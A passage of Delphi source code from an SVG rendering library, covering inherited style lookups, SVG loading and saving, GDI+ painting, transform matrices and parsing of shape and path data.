while Assigned(SVG) do
begin
if (SVG is TSVGBasic) and (TSVGBasic(SVG).FClipURI <> '') then
begin
Result := TSVGBasic(SVG).FClipURI;
Break;
end;
SVG := SVG.FParent;
end;
end;
function TSVGBasic.GetStrokeLineCap: TLineCap;
var
SVG: TSVGObject;
begin
Result := LineCapFlat;
SVG := Self;
while Assigned(SVG) do
begin
if (SVG is TSVGBasic) and (TSVGBasic(SVG).FStrokeLineCap <> '') then
begin
if TSVGBasic(SVG).FStrokeLineCap = 'round' then
Result := LineCapRound
else if TSVGBasic(SVG).FStrokeLineCap = 'square' then
Result := LineCapSquare;
Break;
end;
SVG := SVG.FParent;
end;
end;
function TSVGBasic.GetStrokeDashCap: TDashCap;
var
SVG: TSVGObject;
begin
Result := TDashCap.DashCapFlat;
SVG := Self;
while Assigned(SVG) do
begin
if (SVG is TSVGBasic) and (TSVGBasic(SVG).FStrokeLineCap <> '') then
begin
if TSVGBasic(SVG).FStrokeLineCap = 'round' then
Result := TDashCap.DashCapRound;
Break;
end;
SVG := SVG.FParent;
end;
if Assigned(SVG) then
begin
if TSVGBasic(SVG).FStrokeLineCap = 'round' then
begin
Result := TDashCap.DashCapRound;
end;
end;
end;
function TSVGBasic.GetStrokeLineJoin: TLineJoin;
var
SVG: TSVGObject;
begin
Result := LineJoinMiterClipped;
SVG := Self;
while Assigned(SVG) do
begin
if (SVG is TSVGBasic) and (TSVGBasic(SVG).FStrokeLineJoin <> '') then
begin
if TSVGBasic(SVG).FStrokeLineJoin = 'round' then
Result := LineJoinRound
else if TSVGBasic(SVG).FStrokeLineJoin = 'bevel' then
Result := LineJoinBevel;
Break;
end;
SVG := SVG.FParent;
end;
end;
function TSVGBasic.GetStrokeMiterLimit: TFloat;
var
SVG: TSVGObject;
begin
Result := 4;
SVG := Self;
while Assigned(SVG) do
begin
if (SVG is TSVGBasic) and HasValue(TSVGBasic(SVG).FStrokeMiterLimit) then
begin
Result := TSVGBasic(SVG).FStrokeMiterLimit;
Break;
end;
SVG := SVG.FParent;
end;
end;
function TSVGBasic.GetStrokeDashOffset: TFloat;
var
SVG: TSVGObject;
begin
Result := 0;
SVG := Self;
while Assigned(SVG) do
begin
if (SVG is TSVGBasic) and HasValue(TSVGBasic(SVG).FStrokeDashOffset) then
begin
Result := TSVGBasic(SVG).FStrokeDashOffset;
Break;
end;
SVG := SVG.FParent;
end;
end;
function TSVGBasic.GetStrokeDashArray: TSingleDynArray;
var
SVG: TSVGObject;
begin
SetLength(Result, 0);
SVG := Self;
while Assigned(SVG) do
begin
if (SVG is TSVGBasic) and ((Length(TSVGBasic(SVG).FStrokeDashArray) > 0) or
TSVGBasic(SVG).FArrayNone) then
begin
if TSVGBasic(SVG).FArrayNone then Exit;
Result := Copy(TSVGBasic(SVG).FStrokeDashArray, 0);
Break;
end;
SVG := SVG.FParent;
end;
end;
function TSVGBasic.GetFontName: string;
var
SVG: TSVGObject;
begin
Result := 'Arial';
SVG := Self;
while Assigned(SVG) do
begin
if (SVG is TSVGBasic) and (TSVGBasic(SVG).FFontName <> '') then
begin
Result := TSVGBasic(SVG).FFontName;
Break;
end;
SVG := SVG.FParent;
end;
end;
function TSVGBasic.GetFontWeight: Integer;
var
SVG: TSVGObject;
begin
Result := FW_NORMAL;
SVG := Self;
while Assigned(SVG) do
begin
if (SVG is TSVGBasic) and HasValue(TSVGBasic(SVG).FFontWeight) then
begin
Result := TSVGBasic(SVG).FFontWeight;
Break;
end;
SVG := SVG.FParent;
end;
end;
function TSVGBasic.GetGPPath: TGPGraphicsPath2;
begin
if (FPath = nil) and (sefHasPath in Features) then
ConstructPath;
Result := FPath;
end;
function TSVGBasic.GetFontSize: TFloat;
var
SVG: TSVGObject;
begin
Result := 11;
SVG := Self;
while Assigned(SVG) do
begin
if (SVG is TSVGBasic) and HasValue(TSVGBasic(SVG).FFontSize) then
begin
Result := TSVGBasic(SVG).FFontSize;
Break;
end;
SVG := SVG.FParent;
end;
end;
function TSVGBasic.GetFontStyle: Integer;
var
SVG: TSVGObject;
begin
Result := 0;
SVG := Self;
while Assigned(SVG) do
begin
if (SVG is TSVGBasic) and HasValue(TSVGBasic(SVG).FFontStyle) then
begin
Result := TSVGBasic(SVG).FFontStyle;
Break;
end;
SVG := SVG.FParent;
end;
end;
procedure TSVGBasic.ConstructPath;
begin
FreeAndNil(FPath);
FPath := TGPGraphicsPath2.Create(FFillMode);
end;
{$ENDREGION}
{$REGION 'TSVG'}
procedure TSVG.LoadFromText(const Text: string);
var
Reader: IXMLReader;
NodeType: XmlNodeType;
Name: PWideChar;
Len: LongWord;
LOldText: string;
begin
LOldText := FSource;
Clear;
if Text = '' then Exit;
try
Reader := CreateXmlLite.Data(Text).Reader;
while not Reader.IsEOF do
begin
if not EXmlLite.IsOK(Reader.Read(NodeType)) then break;
if NodeType = XmlNodeType.Element then
begin
Reader.GetLocalName(Name, Len);
try
if Name = 'svg' then
begin
FSource := Text;
ReadIn(Reader);
break;
end
else
raise Exception.Create(SVG_ERROR_TAG_SVG);
except
on E: Exception do
begin
FSource := LOldText;
raise Exception.CreateFmt(SVG_ERROR_PARSING_SVG_TEXT, [E.Message]);
end;
end;
end;
end;
except
FSource := '';
raise;
end;
end;
procedure TSVG.LoadFromFile(const FileName: string);
var
St: TFileStream;
begin
St := TFileStream.Create(FileName, fmOpenRead or fmShareDenyNone);
try
LoadFromStream(St);
FFileName := FileName;
finally
St.Free;
end;
end;
procedure TSVG.LoadFromStream(Stream: TStream);
var
Size: Integer;
Buffer: TBytes;
begin
Size := Stream.Size;
SetLength(Buffer, Size);
{$IF CompilerVersion >= 24.0 }
{$LEGACYIFEND ON}
//TODO : confirm when this overload was introduced.
Stream.Read(Buffer, 0, Size);
{$ELSE}
Stream.Read(Buffer[0],Size);
{$IFEND}
LoadFromText(TEncoding.UTF8.GetString(Buffer));
end;
procedure TSVG.SaveToFile(const FileName: string);
var
Stream: TFileStream;
begin
Stream := TFileStream.Create(FileName, fmCreate);
try
SaveToStream(Stream);
finally
Stream.Free;
end;
end;
procedure TSVG.SaveToStream(Stream: TStream);
var
Buffer: TBytes;
begin
Buffer := TEncoding.UTF8.GetBytes(FSource);
Stream.WriteBuffer(Buffer, Length(Buffer));
end;
procedure TSVG.PaintTo(DC: HDC; Bounds: TGPRectF;
Rects: PRectArray; RectCount: Integer);
var
Graphics: TGPGraphics;
begin
Graphics := TGPGraphics.Create(DC);
try
Graphics.SetSmoothingMode(SmoothingModeAntiAlias);
Graphics.SetPixelOffsetMode(PixelOffsetModeHalf);
PaintTo(Graphics, Bounds, Rects, RectCount);
finally
Graphics.Free;
end;
end;
procedure TSVG.PaintTo(MetaFile: TGPMetaFile; Bounds: TGPRectF;
Rects: PRectArray; RectCount: Integer);
var
Graphics: TGPGraphics;
begin
Graphics := TGPGraphics.Create(MetaFile);
try
Graphics.SetSmoothingMode(SmoothingModeAntiAlias);
Graphics.SetPixelOffsetMode(PixelOffsetModeHalf);
PaintTo(Graphics, Bounds, Rects, RectCount);
finally
Graphics.Free;
end;
end;
procedure TSVG.PaintTo(Graphics: TGPGraphics; Bounds: TGPRectF;
Rects: PRectArray; RectCount: Integer);
var
M: TGPMatrix;
begin
M := TGPMatrix.Create;
try
Graphics.GetTransform(M);
try
FInitialMatrix := TAffineMatrix.FromGPMatrix(M);
SetBounds(Bounds);
Paint(Graphics, Rects, RectCount);
finally
Graphics.SetTransform(M);
end;
finally
M.Free;
end;
end;
procedure TSVG.PaintTo(DC: HDC; aLeft, aTop, aWidth, aHeight : single);
begin
PaintTo(DC, MakeRect(aLeft, aTop, aWidth, aHeight), nil, 0);
end;
constructor TSVG.Create;
begin
inherited;
FStyles := TStyleList.Create;
FillChar(FInitialMatrix, SizeOf(FInitialMatrix), 0);
FGrayscale := False;
FFixedColor := SVG_INHERIT_COLOR;
FIdDict := TDictionary<string, TSVGObject>.Create;
end;
destructor TSVG.Destroy;
begin
FreeAndNil(FStyles);
FreeAndNil(FidDict);
inherited;
end;
class function TSVG.Features: TSVGElementFeatures;
begin
Result := [sefMayHaveChildren, sefChildrenNeedPainting];
end;
function TSVG.FindByID(const Name: string): TSVGObject;
begin
if not FIdDict.TryGetValue(Name, Result) then
begin
Result := inherited FindById(Name);
FIdDict.Add(Name, Result);
end;
end;
procedure TSVG.Clear;
begin
inherited;
FSource := '';
if Assigned(FStyles) then
FStyles.Clear;
if Assigned(FIdDict) then
FIdDict.Clear;
FillChar(FViewBox, SizeOf(FViewBox), 0);
FillChar(FInitialMatrix, SizeOf(FInitialMatrix), 0);
FX := 0;
FY := 0;
FWidth := 0;
FHeight := 0;
FRX := 0;
FRY := 0;
FFillColor := SVG_INHERIT_COLOR;
FFillURI := 'black'; //default fill color
FFillOpacity := 1;
FStrokeColor := SVG_NONE_COLOR;
FStrokeWidth := 1;
FStrokeOpacity := 1;
FAngle := 0;
FillChar(FAngleMatrix, SizeOf(TAffineMatrix), 0);
FLineWidth := 1;
FFileName := '';
end;
procedure TSVG.SetSVGOpacity(Opacity: TFloat);
begin
StrokeOpacity := Opacity;
FillOpacity := Opacity;
end;
procedure TSVG.SetViewBox(const Value: TRectF);
begin
if FViewBox <> Value then
begin
FViewBox := Value;
ReloadFromText;
end;
end;
procedure TSVG.SetAngle(Angle: TFloat);
var
X: Single;
Y: Single;
begin
if not SameValue(FAngle, Angle) then
begin
FAngle := Angle;
X := Width / 2;
Y := Height / 2;
FAngleMatrix := TAffineMatrix.CreateTranslation(X, Y) * TAffineMatrix.CreateRotation(Angle) *
TAffineMatrix.CreateTranslation(-X, -Y);
end;
end;
procedure TSVG.SetBounds(const Bounds: TGPRectF);
begin
FRootBounds := Bounds;
CalculateMatrices;
end;
procedure TSVG.ReloadFromText;
var
LSource: string;
begin
LSource := FSource;
LoadFromText(LSource);
end;
procedure TSVG.SetFixedColor(const Value: TColor);
begin
if FFixedColor <> Value then
begin
FFixedColor := Value;
if FFixedColor < 0 then
FFixedColor := GetSysColor(fFixedColor and $000000FF);
ReloadFromText;
end;
end;
procedure TSVG.SetGrayscale(const Value: boolean);
begin
if FGrayscale <> Value then
begin
FGrayscale := Value;
ReloadFromText;
end;
end;
procedure TSVG.Paint(const Graphics: TGPGraphics; Rects: PRectArray;
RectCount: Integer);
procedure PaintItem(const Item: TSVGObject);
function NeedsPainting: Boolean;
begin
Result := (sefNeedsPainting in Item.Features) and
(Item.Display = tbTrue) and (Item.Visible = tbTrue);
end;
function InBounds: Boolean;
var
C: Integer;
Bounds: TRectF;
begin
Result := True;
if RectCount > 0 then
begin
for C := 0 to RectCount - 1 do
begin
Bounds := Item.ObjectBounds(True, True);
if Bounds.IntersectsWith(Rects^[C]) then
Exit;
end;
Result := False;
end;
end;
var
C: Integer;
LItem: TSVGObject;
begin
if NeedsPainting and ((RectCount = 0) or InBounds) then
Item.PaintToGraphics(Graphics);
if sefChildrenNeedPainting in Item.Features then
for C := 0 to Item.Count - 1 do
begin
LItem := Item[C];
if Item is TSVGBasic then PaintItem(LItem);
end;
end;
begin
PaintItem(Self);
end;
procedure TSVG.AssignTo(Dest: TPersistent);
begin
inherited;
if Dest is TSVG then
begin
TSVG(Dest).FViewBox := FViewBox;
TSVG(Dest).FSource := Source;
FreeAndNil(TSVG(Dest).FStyles);
TSVG(Dest).FStyles := FStyles.Clone;
TSVG(Dest).FFileName := FFileName;
TSVG(Dest).FGrayscale := FGrayscale;
TSVG(Dest).FFixedColor := FFixedColor;
end;
end;
procedure TSVG.ReadStyles(const Reader: IXMLReader);
var
S: string;
Classes: TStringDynArray;//TArray<string>;
Cls: string;
NodeType: XmlNodeType;
pValue: PWideChar;
Len: LongWord;
begin
if Reader.IsEmptyElement then Exit;
while EXmlLite.IsOK(Reader.Read(NodeType)) do
begin
case NodeType of
XmlNodeType.Text,
XmlNodeType.CDATA:
begin
Reader.GetValue(pValue, Len);
SetString(S, pValue, Len);
break
end;
XmlNodeType.None,
XmlNodeType.EndElement: Break;
end;
end;
if S = '' then Exit;
ProcessStyleSheet(S);
Classes := SplitString(S, SLineBreak);
// Classes := S.Split([SLineBreak], MaxInt, TStringSplitOptions.None);
for Cls in Classes do
begin
S := Trim(Cls);
if S <> '' then
FStyles.Add(S);
end;
end;
function TSVG.RenderToBitmap(Width, Height: Integer): HBITMAP;
var
Bitmap: TGPBitmap;
Graphics: TGPGraphics;
R: TGPRectF;
begin
Result := 0;
if (Width = 0) or (Height = 0) then
Exit;
Bitmap := TGPBitmap.Create(Width, Height);
try
Graphics := TGPGraphics.Create(Bitmap);
try
Graphics.SetSmoothingMode(SmoothingModeAntiAlias);
Graphics.SetPixelOffsetMode(PixelOffsetModeHalf);
R := FittedRect(MakeRect(0.0, 0.0, Width, Height), FWidth, FHeight);
PaintTo(Graphics, R, nil, 0);
finally
Graphics.Free;
end;
Bitmap.GetHBITMAP(MakeColor(255, 255, 255), Result);
finally
Bitmap.Free;
end;
end;
function TSVG.RenderToIcon(Size: Integer): HICON;
var
Bitmap: TGPBitmap;
Graphics: TGPGraphics;
R: TGPRectF;
begin
Result := 0;
if (Size = 0) then
Exit;
Bitmap := TGPBitmap.Create(Size, Size);
try
Graphics := TGPGraphics.Create(Bitmap);
try
Graphics.SetSmoothingMode(SmoothingModeAntiAlias);
Graphics.SetPixelOffsetMode(PixelOffsetModeHalf);
R := FittedRect(MakeRect(0.0, 0, Size, Size), Width, Height);
PaintTo(Graphics, R, nil, 0);
finally
Graphics.Free;
end;
Bitmap.GetHICON(Result);
finally
Bitmap.Free;
end;
end;
procedure TSVG.CalcMatrix;
var
ViewBoxMatrix: TAffineMatrix;
BoundsMatrix: TAffineMatrix;
ScaleMatrix: TAffineMatrix;
ScaleX, ScaleY: TFloat;
begin
ViewBoxMatrix := TAffineMatrix.CreateTranslation(-FViewBox.Left, -FViewBox.Top);
BoundsMatrix := TAffineMatrix.CreateTranslation(FRootBounds.X, FRootBounds.Y);
if (FViewBox.Width > 0) and (FRootBounds.Width > 0) then
ScaleX := (FRootBounds.Width) / FViewBox.Width
else
ScaleX := 1;
if (FViewBox.Height > 0) and (FRootBounds.Height > 0) then
ScaleY := (FRootBounds.Height)/ FViewBox.Height
else
ScaleY := 1;
ScaleMatrix := TAffineMatrix.CreateScaling(ScaleX, ScaleY);
if not FInitialMatrix.IsEmpty then
begin
FFullMatrix := FInitialMatrix
end
else
begin
FFullMatrix := AffineMatrixIdentity;
end;
// The order is important
// First the ViewBox transformations are applied (translate first and then scale)
// Then the Bounds translation is applied. (the order is from left to right)
FFullMatrix := ViewBoxMatrix * ScaleMatrix * BoundsMatrix * FFullMatrix;
if not FAngleMatrix.IsEmpty then
FFullMatrix := FAngleMatrix * FFullMatrix;
if not FLocalMatrix.IsEmpty then
FFullMatrix := FLocalMatrix * FFullMatrix;
end;
procedure TSVG.ReadIn(const Reader: IXMLReader);
begin
inherited;
if FViewBox.IsEmpty then
begin
FViewBox.Width := FWidth;
FViewBox.Height := FHeight;
end;
//Fix for SVG without width and height but with viewBox
if (FWidth = 0) and (FHeight = 0) then
begin
FWidth := FViewBox.Width;
FHeight := FViewBox.Height;
end;
DeReferenceUse;
end;
function TSVG.ReadInAttr(SVGAttr: TSVGAttribute; const AttrValue: string): Boolean;
{
% width and height do not make sense in stand-alone svgs
and they centainly do not refer to % size of the svg content
When svg's are embedded in a web page for instance the %s
correspond to the % of the Web page size
}
begin
Result := True;
case SVGAttr of
saVersion: begin end; // ignore
saWidth:
begin
if (ParseUnit(AttrValue) = suPercent) then
FWidth := 0
else
ParseLengthAttr(AttrValue, ltHorz, FWidth);
end;
saHeight:
begin
if (ParseUnit(AttrValue) = suPercent) then
FHeight := 0
else
ParseLengthAttr(AttrValue, ltVert, FHeight)
end;
saViewBox:
begin
if AttrValue <> '' then
FViewBox := ParseDRect(AttrValue);
end;
else
Result := inherited;
end;
end;
procedure TSVG.DeReferenceUse;
begin
Traverse(
function(SVG: TSVGObject): Boolean
begin
Result := False;
if SVG is TSVGUse then
TSVGUse(SVG).Construct;
end);
end;
function TSVG.GetStyleValue(const Name, Key: string): string;
var
Style: TStyle;
begin
Result := '';
Style := FStyles.GetStyleByName(Name);
if Assigned(Style) then
Result := Style[Key];
end;
{$ENDREGION}
{$REGION 'TSVGContainer'}
class function TSVGContainer.Features: TSVGElementFeatures;
begin
Result := [sefMayHaveChildren, sefChildrenNeedPainting];
end;
{$ENDREGION}
{$REGION 'TSVGDefs'}
class function TSVGDefs.Features: TSVGElementFeatures;
begin
Result := [sefMayHaveChildren];
end;
{$ENDREGION}
{$REGION 'TSVGUse'}
procedure TSVGUse.Construct;
var
Container: TSVGContainer;
SVG: TSVGObject;
Matrix: TAffineMatrix;
begin
while Count > 0 do
GetItem(0).Free;
SVG := nil;
if FReference <> '' then
SVG := GetRoot.FindByID(FReference);
if Assigned(SVG) then
begin
Matrix := TAffineMatrix.CreateTranslation(X, Y);
Container := TSVGContainer.Create(Self);
Container.FObjectName := 'g';
Container.FLocalMatrix := Matrix;
SVG.Clone(Container);
Container.Traverse(
function(SVG: TSVGObject): Boolean
begin
Result := False;
if SVG is TSVGUse then
TSVGUse(SVG).Construct;
end);
end;
end;
class function TSVGUse.Features: TSVGElementFeatures;
begin
Result := [sefChildrenNeedPainting];
end;
procedure TSVGUse.AssignTo(Dest: TPersistent);
begin
inherited;
if Dest is TSVGUse then
begin
TSVGUse(Dest).FReference := FReference;
end;
end;
procedure TSVGUse.Clear;
begin
inherited;
FReference := '';
end;
function TSVGUse.ReadInAttr(SVGAttr: TSVGAttribute;
const AttrValue: string): Boolean;
begin
Result := True;
if SVGAttr = saXlinkHref then FReference := AttrValue
else if SVGAttr = saHref then FReference := AttrValue
else
Result := inherited;
end;
{$ENDREGION}
{$REGION 'TSVGRect'}
procedure TSVGRect.ReadIn(const Reader: IXMLReader);
begin
inherited;
if FRX > FWidth / 2 then
FRX := FWidth / 2;
if FRY > FHeight / 2 then
FRY := FHeight / 2;
end;
function TSVGRect.ObjectBounds(IncludeStroke: Boolean; ApplyTranform: Boolean): TRectF;
var
SW: TFloat;
begin
if IncludeStroke then
SW := Max(0, GetStrokeWidth) / 2
else
SW := 0;
Result.TopLeft := TPointF.Create(FX - SW, FY - SW);
Result.BottomRight := TPointF.Create(FX + FWidth + SW, FY + Height + SW);
if ApplyTranform then begin
Result.TopLeft := Transform(Result.TopLeft);
Result.BottomRight := Transform(Result.BottomRight);
end;
end;
procedure TSVGRect.ConstructPath;
begin
inherited;
if (FRX <= 0) and (FRY <= 0) then
FPath.AddRectangle(MakeRect(FX, FY, FWidth, FHeight))
else
FPath.AddRoundRect(FX, FY, FWidth, FHeight, FRX, FRY);
end;
{$ENDREGION}
{$REGION 'TSVGLine'}
function TSVGLine.ReadInAttr(SVGAttr: TSVGAttribute;
const AttrValue: string): Boolean;
begin
Result := True;
case SVGAttr of
saX1: ParseLengthAttr(AttrValue, ltHorz, FX);
saY1: ParseLengthAttr(AttrValue, ltVert, FY);
saX2: ParseLengthAttr(AttrValue, ltHorz, FWidth);
saY2: ParseLengthAttr(AttrValue, ltVert, FHeight);
else
Result := inherited;
end;
end;
function TSVGLine.ObjectBounds(IncludeStroke: Boolean; ApplyTranform: Boolean): TRectF;
var
SW: TFloat;
Left, Top, Right, Bottom: TFloat;
begin
if IncludeStroke then
SW := Max(0, GetStrokeWidth) / 2
else
SW := 0;
Left := Min(X, Width) - SW;
Top := Min(Y, Height) - SW;
Right := Max(X, Width) + SW;
Bottom := Max(Y, Height) + SW;
Result.TopLeft := TPointF.Create(Left, Top);
Result.BottomRight := TPointF.Create(Right, Bottom);
if ApplyTranform then begin
Result.TopLeft := Transform(Result.TopLeft);
Result.BottomRight := Transform(Result.BottomRight);
end;
end;
procedure TSVGLine.ConstructPath;
begin
inherited;
FPath.AddLine(X, Y, Width, Height);
end;
{$ENDREGION}
{$REGION 'TSVGPolyLine'}
constructor TSVGPolyLine.Create;
begin
inherited;
FPointCount := 0;
end;
function TSVGPolyLine.ObjectBounds(IncludeStroke: Boolean; ApplyTranform: Boolean): TRectF;
var
Left, Top, Right, Bottom: TFloat;
C: Integer;
SW: TFloat;
begin
Left := MaxTFloat;
Top := MaxTFloat;
Right := -MaxTFloat;
Bottom := -MaxTFloat;
for C := 0 to FPointCount - 1 do
begin
if FPoints[C].X < Left then
Left := FPoints[C].X;
if FPoints[C].X > Right then
Right := FPoints[C].X;
if FPoints[C].Y < Top then
Top := FPoints[C].Y;
if FPoints[C].Y > Bottom then
Bottom := FPoints[C].Y;
end;
if IncludeStroke then
SW := Max(0, GetStrokeWidth) / 2
else
SW := 0;
Result.TopLeft := TPointF.Create(Left - SW, Top - SW);
Result.BottomRight := TPointF.Create(Right + SW, Bottom + SW);
if ApplyTranform then begin
Result.TopLeft := Transform(Result.TopLeft);
Result.BottomRight := Transform(Result.BottomRight);
end;
end;
procedure TSVGPolyLine.Clear;
begin
inherited;
SetLength(FPoints, 0);
FPointCount := 0;
end;
procedure TSVGPolyLine.AssignTo(Dest: TPersistent);
var
C: Integer;
begin
inherited;
if Dest is TSVGPolyLine then
begin
TSVGPolyLine(Dest).FPointCount := FPointCount;
if Assigned(FPoints) then
begin
SetLength(TSVGPolyLine(Dest).FPoints, FPointCount);
for C := 0 to FPointCount - 1 do
begin
TSVGPolyLine(Dest).FPoints[C].X := FPoints[C].X;
TSVGPolyLine(Dest).FPoints[C].Y := FPoints[C].Y;
end;
end;
end;
end;
procedure TSVGPolyLine.ConstructPoints(const S: string);
var
SL: TStrings;
C: Integer;
begin
SL := TStringList.Create;
SL.Delimiter := ' ';
SL.DelimitedText := S;
for C := SL.Count - 1 downto 0 do
if SL[C] = '' then
SL.Delete(C);
if SL.Count mod 2 = 1 then
begin
SL.Free;
Exit;
end;
SetLength(FPoints, 0);
FPointCount := SL.Count div 2;
SetLength(FPoints, FPointCount);
for C := 0 to FPointCount - 1 do
begin
if not TryStrToTFloat(SL[C * 2], FPoints[C].X) then
FPoints[C].X := 0;
if not TryStrToTFloat(SL[C * 2 + 1], FPoints[C].Y) then
FPoints[C].Y := 0;
end;
SL.Free;
end;
function TSVGPolyLine.ReadInAttr(SVGAttr: TSVGAttribute;
const AttrValue: string): Boolean;
var
S: string;
begin
Result := True;
if SVGAttr = saPoints then
begin
S := AttrValue;
S := StringReplace(S, ',', ' ', [rfReplaceAll]);
S := StringReplace(S, '-', ' -', [rfReplaceAll]);
ConstructPoints(S);
end
else
Result := inherited;
end;
procedure TSVGPolyLine.ConstructPath;
var
C: Integer;
begin
if FPoints = nil then
Exit;
inherited;
for C := 1 to FPointCount - 1 do
FPath.AddLine(FPoints[C - 1].X, FPoints[C - 1].Y, FPoints[C].X, FPoints[C].Y);
end;
{$ENDREGION}
{$REGION 'TSVGPolygon'}
procedure TSVGPolygon.ConstructPath;
begin
if FPoints = nil then
Exit;
inherited;
FPath.CloseFigure;
end;
{$ENDREGION}
{$REGION 'TSVGEllipse'}
function TSVGEllipse.ReadInAttr(SVGAttr: TSVGAttribute;
const AttrValue: string): Boolean;
begin
Result := True;
case SVGAttr of
saCx: ParseLengthAttr(AttrValue, ltHorz, FCX);
saCy: ParseLengthAttr(AttrValue, ltVert, FCY);
saR:
begin
if FObjectName = 'circle' then
begin
ParseLengthAttr(AttrValue, ltOther, FRX);
FRY := FRX;
end;
end;
else
Result := inherited;
end;
end;
function TSVGEllipse.ObjectBounds(IncludeStroke: Boolean; ApplyTranform: Boolean): TRectF;
var
SW: TFloat;
begin
if IncludeStroke then
SW := Max(0, GetStrokeWidth) / 2
else
SW := 0;
Result.TopLeft := TPointF.Create(FCX - FRX - SW, FCY - FRY - SW);
Result.BottomRight := TPointF.Create(FCX + FRX + SW, FCY + FRY + SW);
if ApplyTranform then begin
Result.TopLeft := Transform(Result.TopLeft);
Result.BottomRight := Transform(Result.BottomRight);
end;
end;
procedure TSVGEllipse.AssignTo(Dest: TPersistent);
begin
inherited;
if Dest is TSVGEllipse then
begin
TSVGEllipse(Dest).FCX := FCX;
TSVGEllipse(Dest).FCY := FCY;
end;
end;
procedure TSVGEllipse.Clear;
begin
inherited;
FCX := UndefinedFloat;
FCY := UndefinedFloat;
end;
procedure TSVGEllipse.ConstructPath;
begin
inherited;
FPath.AddEllipse(FCX - FRX, FCY - FRY, 2 * FRX, 2 * FRY);
end;
{$ENDREGION}
{$REGION 'TSVGPath'}
function TSVGPath.ObjectBounds(IncludeStroke: Boolean; ApplyTranform: Boolean): TRectF;
var
C: Integer;
R: TRectF;
Left, Top, Right, Bottom: TFloat;
Found: Boolean;
SW: TFloat;
begin
Left := MaxTFloat;
Top := MaxTFloat;
Right := -MaxTFloat;
Bottom := -MaxTFloat;
Found := False;
for C := 0 to Count - 1 do
begin
R := TSVGPathElement(Items[C]).GetBounds;
if (R.Width <> 0) or (R.Height <> 0) then
begin
Found := True;
Left := Min(Left, R.Left);
Top := Min(Top, R.Top);
Right := Max(Right, R.Left + R.Width);
Bottom := Max(Bottom, R.Top + R.Height);
end;
end;
if not Found then
begin
Left := 0;
Top := 0;
Right := 0;
Bottom := 0;
end;
if IncludeStroke then
SW := Max(0, GetStrokeWidth) / 2
else
SW := 0;
Result.TopLeft := TPointF.Create(Left - SW, Top - SW);
Result.BottomRight := TPointF.Create(Right + SW, Bottom + SW);
if ApplyTranform then begin
Result.TopLeft := Transform(Result.TopLeft);
Result.BottomRight := Transform(Result.BottomRight);
end;
end;
procedure TSVGPath.ConstructPath;
var
C: Integer;
Element: TSVGPathElement;
begin
inherited;
for C := 0 to Count - 1 do
begin
Element := TSVGPathElement(Items[C]);
Element.AddToPath(FPath);
end;
end;
function TSVGPath.SeparateValues(const ACommand: Char;
const S: string; CommandList: TList<Char>; ValueList: TList<TFloat>): Boolean;
var
I, NumStart: Integer;
HasDot: Boolean;
HasExp: Boolean;
OldCount: Integer;
AddedCount: Integer;
ExpectedValueCount: Integer;
RepeatCommand: Char;
begin
OldCount := ValueList.Count;
HasDot := False;
HasExp := False;
NumStart := 1;
for I := 1 to Length(S) do
begin
case S[I] of
'.':
begin
if HasDot or HasExp then
begin
ValueList.Add(StrToTFloat(Copy(S, NumStart, I - NumStart)));
NumStart := I;
HasExp := False;
end;
HasDot := True;
end;
'0'..'9': ;
'+', '-':
begin
if I > NumStart then
begin
if not HasExp or (UpCase(S[I-1]) <> 'E') then begin
ValueList.Add(StrToTFloat(Copy(S, NumStart, I-NumStart)));
HasDot := False;
HasExp := False;
NumStart := I;
end
end;
end;
'E', 'e':
HasExp := True;
' ', ',', #9, #$A, #$D:
begin
if I > NumStart then
begin
ValueList.Add(StrToTFloat(Copy(S, NumStart, I-NumStart)));
HasDot := False;
HasExp := False;
end;
NumStart := I + 1;
end;
end;
end;
if Length(S) + 1 > NumStart then
ValueList.Add(StrToTFloat(Copy(S, NumStart, Length(S) + 1 - NumStart)));
AddedCount := ValueList.Count - OldCount;
case AnsiChar(ACommand) of
'A', 'a': ExpectedValueCount := 7;
'C', 'c': ExpectedValueCount := 6;
'S', 's', 'Q', 'q': ExpectedValueCount := 4;
'T', 't', 'M', 'm', 'L', 'l': ExpectedValueCount := 2;
'H', 'h', 'V', 'v': ExpectedValueCount := 1;
else
ExpectedValueCount := 0;
end;
Result := ((ExpectedValueCount = 0) and (AddedCount = 0)) or
((AddedCount >= ExpectedValueCount) and (AddedCount mod ExpectedValueCount = 0));
if Result then
begin
CommandList.Add(ACommand);
if AddedCount > ExpectedValueCount then
begin
case ACommand of
'M': RepeatCommand := 'L';
'm': RepeatCommand := 'l';
else
RepeatCommand := ACommand;
end;
for I := 2 to AddedCount div ExpectedValueCount do
CommandList.Add(RepeatCommand);
end;
end;
end;
procedure TSVGPath.Split(const S: string; CommandList: TList<Char>; ValueList: TList<TFloat>);
var
Part: string;
Found: Integer;
StartIndex: Integer;
SLength: Integer;
const
IDs: TSysCharSet = ['M', 'm', 'L', 'l', 'H', 'h', 'V', 'v',
'C', 'c', 'S', 's', 'Q', 'q', 'T', 't', 'A', 'a', 'Z', 'z'];
begin
StartIndex := 1;
SLength := Length(S);
while StartIndex <= SLength do
begin
if not (AnsiChar(S[StartIndex]) in IDs) then Exit; // invalid path
Found := StartIndex + 1;
while (Found <= SLength) and not (AnsiChar(S[Found]) in IDs) do
Inc(Found);
Part := Trim(Copy(S, StartIndex + 1, Found - StartIndex -1));
if not SeparateValues(S[StartIndex], Part, CommandList, ValueList) then
Break;
StartIndex := Found;
end;
end;
function TSVGPath.ReadInAttr(SVGAttr: TSVGAttribute;
const AttrValue: string): Boolean;
var
C: Integer;
Command: Char;
VListPos: Integer;
CommandList: TList<Char>;
ValueList: TList<TFloat>;
Element: TSVGPathElement;
LastElement: TSVGPathElement;
begin
Result := True;
if SVGAttr = saD then
begin
if Length(AttrValue) = 0 then
Exit;
end else
begin
Result := inherited;
Exit;
end;
CommandList := TList<Char>.Create;
ValueList := TList<TFloat>.Create;
try
Split(AttrValue, CommandList, ValueList);
LastElement := nil;
VListPos := 0;
for C := 0 to CommandList.Count-1 do
begin
Command := CommandList[C];
case AnsiChar(Command) of
'M', 'm': Element := TSVGPathMove.Create(Self);
'L', 'l': Element := TSVGPathLine.Create(Self);
'H', 'h', 'V', 'v': Element := TSVGPathLine.Create(Self);
'C', 'c': Element := TSVGPathCurve.Create(Self);
'S', 's', 'Q', 'q': Element := TSVGPathCurve.Create(Self);
'T', 't': Element := TSVGPathCurve.Create(Self);
'A', 'a': Element := TSVGPathEllipticArc.Create(Self);
'Z', 'z': Element := TSVGPathClose.Create(Self);
else
Element := nil;
end;
if Assigned(Element) then
begin
Element.Read(Command, ValueList, VListPos, LastElement);
LastElement := Element;
end;
end;
finally
CommandList.Free;
ValueList.Free;
end;
end;
{$ENDREGION}
